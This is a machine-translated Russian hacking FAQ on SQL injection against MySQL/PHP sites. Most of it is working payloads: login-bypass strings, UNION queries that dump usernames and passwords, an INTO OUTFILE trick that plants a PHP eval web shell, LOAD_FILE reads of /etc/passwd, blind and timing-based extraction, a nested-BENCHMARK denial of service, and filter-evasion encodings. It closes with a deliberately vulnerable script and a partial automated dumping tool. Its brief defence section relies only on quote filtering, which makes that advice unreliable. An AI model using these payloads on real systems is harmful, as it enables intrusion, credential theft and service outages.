special

This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

SQL Injection [полный FAQ]



  • 0.INTRO
  • 1. КАК НАЙТИ SQL INJECTION
  • 2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ
  • 3. ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.
  • 4. ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.
  • 5. ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL
  • 6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION
  • 7. ДОПОЛНЕНИЯ


  • 0.INTRO


    Лазив по интернету в поисках хоть какой то инфы по SQL injection ты наверно часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему либо еще что-то которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена решил написать полный FAQ по этой теме, чтобы так сказать остальные не мучались. И еще одна просьба. Те кто найдет что я что то пропустил, где то ошибся и тд пожалуйста отпишитесь ниже, трудно все таки, все удержать в голове :). Кстати это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами.

    Не первый день увлекаясь взломом ты наверно знаешь что такое SQL injection если нет то я это статья для тебя. SQL injection дальше просто инъекция это тип атаки при котором взломщиком модифицируется оригинальный запрос к БД таким образом чтобы при выполнении запроса была выведена нужная ему информация из БД.

    Для усвоения этой статьи требуется:
    а) Наличие мозгов
    б) Прямые руки

    в) Знания языка SQL

    В основном эта статья писалась как для MYSQL+PHP но есть и пара примеров с MSSQL.

    Вообще по-моему самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например самому написать уязвимый скрипт, или использовать мой приведенный в самом конце.

    Кстати советую читать все подряд потому что в каждом пункте есть что то важное для следующего пункта и т.д.

    1. КАК НАЙТИ SQL INJECTION

    Это довольно таки просто. Надо вставлять во все поля, переменные, куки двойную и одинарные кавычки.

    1.1 Второй первый

    Начнем с вот такого скрипта

    1. Предположим что оригинальный запрос к БД выглядит так:
    SELECT * FROM news WHERE id='1';Теперь мы допишем кавычку в переменную "id", вот так - если переменная не фильтруется и включены сообщения об ошибках то вылезет что то наподобие:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Так как в запросе к БД будет присутствовать лишняя кавычка:
    SELECT * FROM news WHERE id='1'';Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.4. Как именно описанно в этом же пункте): То есть запрос к БД станет вот таким:
    SELECT * FROM news WHERE id='1'; -- ';(Для тех кто в танке “--“ это знак начала комментария все после него будет отброшено, еще хочу обратить ваше внимание на то что после него должен быть обязательно пробел(Так написано в документации к MYSQL) и кстати перед ним тоже). Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для http://xxx/news.php?id=1
    Тому что делать с этой уязвимостью посвящен весь пункт 2.

    1.2 Второй случай

    В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает БД вот так:
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';

    Даже если этот скрипт фильтрует кавычку то все равно он остается уязвимым для инъекции. Нам нужно вместо пароля просто ввести "%" (Для оператора LIKE символ "%" соответствует любой строке) и тогда запрос станет
    SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';

    и нас пустят внутрь с логином 'Admin'. В этом случае мы не только нашли SQL injection но и успешно ее использовали.

    1.3 Третий случай

    Что делать если в том же скрипте авторизации отсутствует проверка на кавычку. Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа:
    SELECT * FROM users WHERE login='Admin' AND pass='123';

    К сожалению пароль '123' не подходит :) , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin'; -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'.
    SELECT * FROM users WHERE login='Admin'; -- ' AND pass='123';

    А теперь что делать если уязвимость в поле 'pass'. Мы вписываем в это поле следующее 123' OR login='Admin'; -- . Запрос станет таким:
    SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin'; -- ';

    Что для БД будет совершенно индеинтично такому запросу:
    SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin');

    И после этих действий мы станем полноправным владельцем акка с логином 'Admin'.

    1.4 Четвертый случай

    Вернемся к скрипту новостей. Из языка SQL мы должны помнить что числовые параметры не ставятся в кавычки то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД выглядит вот так:
    SELECT * FROM news WHERE id=1;

    Обнаружить эту иньекцию также можно подстановкой кавычки в параметр 'id' и тогда выпрыгнет такое же сообщение об ошибке:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

    Если это сообщение не выпригивает то можно понять что кавычка фильтруется и нужно тогда вписать http://xxx/news.php?id=1 bla-bla-bla
    БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа:

    mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla'

    Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1; --
    Должно отобразиться точно также как и http://xxx/news.php?id=1

    Теперь можно переходить к пункту 2.

    2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

    Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1 а переделать под остальные сможете сами это не трудно :)

    2.1 Команда UNION

    Для начала самое полезное это команда UNION (кто не знает лезть в гугл )…
    Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким:
    SELECT * FROM news WHERE id='1' UNION SELECT 1 -- ';


    2.1.1.1 Подбор количества полей(Способ 1)

    Не забывая про то что количества столбцов до UNION и после должны соответствовать наверняка вылезет ошибка (если только в таблице news не одна колонка) наподобие:

    mysql_query(): The used SELECT statements have a different number of columns

    В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответсвовало). Делаем это так:

    http://xxx/news.php?id=1' UNION SELECT 1, 2 --
    Ошибка. «The used SELECT statements have a different number of columns»

    http://xxx/news.php?id=1' UNION SELECT 1,2,3 --
    Опять ошибка.


    http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
    О! Отобразилось точно также как и http://xxx/news.php?id=1
    значит количество полей подобрано, то есть их 6 штук…


    2.1.1.2 Подбор количества полей(Способ 2)

    А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа:

    http://xxx/news.php?id=1' GROUP BY 2 --

    Будет отображен без ошибок если количество полей меньше или равно 2.
    Делаем запрос такого типа:

    http://xxx/news.php?id=1' GROUP BY 10 --

    Упс... Появилась ошибка типа.

    mysql_query(): Unknown column '10' in 'group statement'

    Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос

    http://xxx/news.php?id=1' GROUP BY 5 --


    Опа ошибки нет значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос:

    http://xxx/news.php?id=1' GROUP BY 7 --

    Ой опять ошибка... :(

    mysql_query(): Unknown column '7' in 'group statement'

    Значит количество больше либо равно 5 но меньше чем 7. Ну и дальше делаем запрос

    http://xxx/news.php?id=1' GROUP BY 6 --

    Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6.

    2.1.1.3 Подбор количества полей(Способ 3)

    Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше.

    mysql_query(): Unknown column '10' in 'order clause'

    2.1.2 Определение выводимых столбцов

    Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Самое простое это поменять "id" с '1' на '-1' (либо на '9999999')
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде то остальные подпункты пункта 2.1 можно пропустить.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting)

    Эта таже XSS только через запрос к базе. Пример:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS.

    2.1.4 Названия столбцов/таблиц

    Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить
    Если не знаешь… Тут два пути.

    2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5

    Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц.
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:

    Вывод первой строки:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --

    Вывод второй строки:
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.

    Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 1,1 --

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 2,1 --
    и т.д.

    И вот мы нашли поля login, password.

    2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA

    Это жопный вариант :(.Тут в силу вступает обычный брутофорс... Пример:

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы --

    Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа:

    mysql_query(): Table 'Имя_таблицы' doesn't exist

    Ну ввели мы к своему счастью Users пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то что существет таблица Users и нужно приступить к перебору столбцов.

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --

    Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:

    mysql_query():Unknown column 'Имя_столбца'' in 'field list'

    Там где пропадает сообщение об ошибке значит такой столбец существует.

    И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

    2.1.5 Вывод информации

    Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 1,1 -- Выводит нам логин и пароль первого юзера из таблицы Users.

    2.2 Работа с файлами

    2.2.1 Запись в файл

    Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую.

    Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt'; --


    Для нее работает несколько ограничений.
    • Запрещенно перезаписывание файлов
    • Требуются привилегии типа FILE
    • (!)Обязательны настоящие кывычки в указании имени файла

    А вот что бы нам мешало сделать веб шел? Вот например так:

    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; --

    Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.

    2.2.2 Чтение файлов

    Рассмотрим функцию LOAD_FILE

    Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6;

    Для нее есть также несколько ограничений.
    • Должен быть указан полный путь к файлу.
    • Требуются привилегии типа FILE
    • Файл должен находится на одном и том же сервере
    • Размер данного файла должен быть меньше указанного в max_allowed_packet
    • Файл должен быть открыт для чтения юзером из-под которого запущен MYSQL

    Если функции не удастся прочитать файл то она возвращает NULL.

    2.3 DOS атака на SQL сервер

    В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки...

    Ближе к делу…
    Функция BENCHMARK выполняет одно и тоже действие несколько раз.
    SELECT BENCHMARK(100000,md5(current_time));

    То есть здесь эта функция 100000 раз делает md5(current_time) что у меня на компе занимает приблизительно 0.7 секунды... Казалось что здесь такого... А если попробовать вложенный BENCHMARK?

    SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time )));

    Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset :).
    Пример Доса в нашем случае:

    http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6; --

    Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
    3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ.

    3.1 Посимвольный перебор

    Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит.

    Как мы помним запрос к БД у нас выглядит так
    SELECT * FROM news WHERE id='1';

    Теперь мы его модифицируем через уязвимый парамтр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- ';

    Вот так:

    http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --

    Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100
    oсновной запрос становиться таким
    SELECT * FROM news WHERE id='-1' OR id=1

    и выполняется точно также как и при обращении к скрипту http://xxx/news.php?id=1 а если код этого числа меньше то основной запрос становиться таким
    SELECT * FROM news WHERE id='-1' OR id=0

    и выполняется точно также как и при http://xxx/news.php?id=0 Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=100,'1','0')
    Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=200,'1','0')
    Вернулся 0 значит 100<= код символа <200.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=150,'1','0')
    Опять вернулся 0 значит 100<= код символа <150.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=125,'1','0')
    И снова вернулся 0 значит 100<= код символа <125.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=113,'1','0')
    Вернулся 1 следовательно113<= код символа <125.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=118,'1','0')
    Возвращается 0 следовательно113<= код символа <118.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)>=115,'1','0')
    113<= код символа <115.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1) =113,'1','0')
    Вернулся 0 значит код символа не равен 113.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),1,1)=114,'1','0')
    Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.

    http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0')

    И заново повторяем все предыдущие шаги.

    3.2 Посимвольный перебор с помощью BENCHMARK

    Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
    SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())));

    выполняется ооочень долго, и на основе задержек (нет, не пугайся не тех задержек, что сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).

    http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --

    Запрос станет таким:

    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- ';


    И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.

    Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:

    http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW())))

    Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до той степени чтобы вы могли точно судить была ли задержка или нет по сравнению с

    http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW())))

    который вернет 1.

    Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.

    ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.

    3.3 Посимвольный перебор с помощью отчета об ошибках

    Этот пункт написан на основе (только на основе, без перепечаток!) статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор Elekt, респект ему.

    Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0 а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля но ВКЛЮЧЕН(!) отчет об ошибках.
    SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)

    Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.

    mysql_query():Subquery returns more than 1 row

    Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
    SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- ';

    Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
    SELECT 1 UNION SELECT 2

    который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.

    Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.

    3.4 Иньекция после ORDER BY

    Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
    SELECT * FROM news ORDER BY $by

    ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
    http://xxx/news.php?by=(id*1)
    http://xxx/news.php?by=(id*-1)
    Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
    Первая новость Вторая новость Третья новость

    А во второй ложь:
    Третья новость Вторая новость Первая новость

    Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=112,1,-1))
    Чтож вывелся обратный порядок новостей => ложь
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
    Опять ложь
    http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),1,1))=114,1,-1))
    О! Прямой порядок новостей => истина
    Переводим код символа 114 в символ r. Переходим к следующему символу и тд.

    4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.


    4.1 Фильтруется пробел

    Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. А также можно перейти к пункту 4.2.

    4.2 Фильтруется символ/строка

    Есть интересная функция которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
    SELECT ASCII('*');

    только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
    SELECT CHAR(42, 42, 42);

    Выведет три звездочки.Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'login'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
    SELECT HEX('login');

    Выдаст '6C6F67696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x6C6F67696E ' это юзать без CHAR() так
    SELECT 0x6C6F67696E FROM User;
    либо с так
    SELECT CHAR(0x6C,0x6F,0x67,0x69,0x6E) FROM User;


    5.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL


    Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: google.com (Большой справочник языку SQL).

    ----------------------------
    USER()-функция выводит логин юзера под которым мы подключены к MYSQL
    DATABASE()-функция выводит название БД к которой мы подключены
    VERSION()-выводит версию MYSQL
    ----------------------------
    ASCII(str)-возвращает ASCII код первого символа в строке "str"
    CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
    HEX(str)-возвращает 16-ричный эквивалент строки "str".
    ----------------------------
    LENGTH(str)- Возвращает длину строки "str".
    SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
    LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
    ----------------------------
    LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
    CONCAT(param1,param2,...) -объединение подстрок в одну строку.
    CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
    ----------------------------
    IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
    ----------------------------
    expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
    ----------------------------
    AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla') Часто бывают траблы с кодировкой и можно чтобы сильно не заморачиваться используют эту конструкцию.
    ----------------------------



    Теперь о комментариях в Mysql
    1)# символ начала комментария в MySQL. Пример:
    SELECT pass,login FROM users #This is comment

    что аналогично запросу
    SELECT pass,login FROM users

    2)-- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
    SELECT pass,login FROM users -- This is comment

    3)/* */ аналог комментария СИ в MySQL. Закрывающая часть необязательна. Для MySQL индеинтична пробелу. Примеры:
    SELECT pass,login FROM users /*This is commentSELECT pass,login/*This is comment*/FROM users SELECT/**/pass,login/**/FROM/**/users

    4) /*!int*/ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
    SELECT pass/*!32302 ,login*/FROM users
    Выведет столбец login если версия MySQL равна либо выше 3.23.02

    6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION


    Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.

    А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.

    1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
    -------------------------------
    2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
    -------------------------------
    3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1

    7.ДОПОЛНЕНИЯ


    Код уязвимого скрипта
    <?php
    //Настройки БД
    $script['mysql_server']='localhost';//Хост
    $script['mysql_login']='root';//Логин
    $script['mysql_password']='';//Пароль
    $script['mysql_db']='test';//Имя БД
    
    //Сам скрипт
    $body="";
    $body.="<html>
    <head><title>Новости</title></head>
    <body>
    
    ";
    
    mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу');
    mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД');
    
    if(!empty($_GET['id']))//Вывод одной новости
    {
    	$body.="<h3>Просмотр новости</h3> \n<br>";
    	$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос
    	$result=mysql_query($zapros);
    	echo(Mysql_error());//Вывод ошибки
    	$data=mysql_fetch_row($result);
    	//Вывод результата запроса
    	$body.="Заголовок: <b>".$data['3']."</b>\n";
    	$body.="<hr><pre>".$data['4']."</pre>\n";
    	$body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>";
    	$body.="<a href='?'>Назад</a>";
    }
    else //Ну и простое отображение всех новостей(шоб понятней было где скуль)
    {
    
    	$body.="<h3>Все новости</h3> \n<br>";
    	$zapros="SELECT * FROM news;";
    	$result_z=mysql_query($zapros);
    	$count_str=mysql_num_rows($result_z);
    	for($i=1;$i<=$count_str;$i++)
    	{
    		$result=@mysql_fetch_assoc($result_z);
    		$body.=$i.".<a href='?id=".$i."'>".$result['caption']."<a/><br>\n";
    	}
    }
    $body.="</body></html>";
    echo($body);
    ?>
    

    Дамп базы
    CREATE TABLE `news` (
     `id` int(11) NOT NULL default '0',
     `date` varchar(8) NOT NULL default '',
     `time` varchar(7) NOT NULL default '',
     `caption` varchar(50) NOT NULL default '',
     `text` text NOT NULL,
     `avtor` varchar(50) NOT NULL default ''
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
    
    INSERT INTO `news` VALUES (1, '23/03/07', '12:30', 'Здравствуй вася :)', 'Ну что начинай хакать этот скриптег :)\r\nИ побыстрее а то малоли... :P', 'I-I()/Ib');
    INSERT INTO `news` VALUES (2, '24/03/07', '11:10', 'Гы а это для разнообразия', 'А то я подумал вдруг мало будет новостей :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться ну да лано...', 'I-I()/Ib');
    
    CREATE TABLE `users` (
     `login` varchar(20) NOT NULL default '',
     `password` varchar(20) NOT NULL default ''
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
    
    INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd');
    INSERT INTO `users` VALUES ('User', '123456');
    INSERT INTO `users` VALUES ('Looser', 'big_password');
    

    Вообщем надеюсь вы поняли что надо с этим сделать...

    А теперь что-то пополезнее.

    Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода
    <?php
    $set['b']='121212';//Что находится перед выводиомй инфой
    $set['e']='212121';//Что находится после выводимой инфы
    $set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
    $set['c']='+++counter+++';//Строка счетчика
    $set['f']='0';//Начальное значение счетчика
    $set['s']='500';//Конечное значение счетчика
    $set['h']='test';//Хост
    
    if(!empty($_GET['b']))$set['b']=$_GET['b'];
    if(!empty($_GET['e']))$set['e']=$_GET['e'];
    if(!empty($_GET['u']))$set['u']=$_GET['u'];
    if(!empty($_GET['z']))$set['z']=$_GET['z'];
    if(!empty($_GET['c']))$set['c']=$_GET['c'];
    if(!empty($_GET['f']))$set['f']=$_GET['f'];
    if(!empty($_GET['s']))$set['s']=$_GET['s'];
